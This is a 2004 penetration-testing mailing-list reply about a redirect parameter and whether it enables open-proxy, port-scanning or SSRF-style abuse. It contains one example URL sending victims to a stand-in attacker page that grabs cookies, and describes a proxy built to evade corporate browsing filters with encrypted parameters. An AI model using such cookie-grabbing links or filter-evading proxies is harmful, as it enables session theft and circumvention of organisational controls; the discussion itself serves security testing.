Penetration Testing mailing list archives
Re: Recent Application Test
From: Ben Timby <asp () webexc com>
Date: Wed, 18 Aug 2004 17:14:37 -0500
See comments inline. ramatkal () hotmail com wrote:
During a recent Application pen test I came across a url of the form:http://www.vulnsite.com/cgi-bin/vulnscript.jsp?url=www.website.com&id=12345 I changed the url parameter to something like url=www.google.com and google appeared in my browser. Next, i changed the url to url=www.whatismyip.com, hoping that the ip address of the webserver would be displayed, however, only my ip address was displayed.This means that my browser is loading the url parameter as opposed to the webserver script fethching the url and then displaying it for me in my browser right? Is this a security issue?
Yes, the URL is either: A. being redirected to by the site you were testing. B. being loaded in a frame or iframe. C. some other method of directing your browser to the url provided.I cannot think of any security issues associated with this behavior. Likely this is a link/clickthru tracking arrangement.
Assuming that it was the actual webserver script fetching the url parameter and then displaying it for me, I've come up with a few vulnerabilities (listed below) and was hoping that people might like to share some of their ideas.1) Can use vulnsite as a proxy (& hack other sites)2) Can port scan using the vuln site by changing url=www.website.com to url=www.sitetoscan.com:port 3) Can connect to & port scan machines behind the firewall.
If the webserver _were_ making the connection on your behalf (which it appears to not be doing), then the above would be true, depending on how the client code validated and handled the provided url. In addition, some XSS may be possible:
http://www.vulnsite.com/cgi-bin/vulnscript.jsp?url=www.ev1ldom41n.com/grabmycookies_fromvulnsite.phpYou would know if this were the case based on the test you did with whatismyip.com (which indicates YOUR BROWSER makes the request).
I have written an HTTP proxy in ASP/COM, that does just what you are describing, the hard part was parsing the HTML, and replacing all links, form targets, image references and image maps with URLs pointing back to the asp proxy, so it could fetch these on the client's behalf. It even supports HTTPS. It also stripped javascript (from stupid sites that did not support browsecaps), as I found this was just too hard to parse and would cause many errors once I had modified the HTML. I wrote this to allow my friends that work for nazi corporations which disallow browsing to still browse the sites they wanted to (oh, and the url= part of my querystring was encrypted to bypass their silly keyword rules). My script has the potential for being abused in the manner you describe, but is of course password protected.
Hope that helps. ------------------------------------------------------------------------------ Ethical Hacking at the InfoSec Institute. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. Check out our Advanced Hacking course, learn to write exploits and attack security infrastructure. Attend a course taught by an expert instructor with years of in-the-field pen testing experience in our state of the art hacking lab. Master the skills of an Ethical Hacker to better assess the security of your organization. http://www.securityfocus.com/sponsor/InfoSecInstitute_pen-test_040817 -------------------------------------------------------------------------------
Current thread:
- Recent Application Test ramatkal (Aug 18)
- Re: Recent Application Test Jon McClintock (Aug 18)
- Re: Recent Application Test Sysmin Sys73m47ic (Aug 18)
- Re: Recent Application Test K. K. Mookhey (Aug 19)
- Re: Recent Application Test Ben Timby (Aug 19)
- Re: Recent Application Test Ivan Krstic (Aug 19)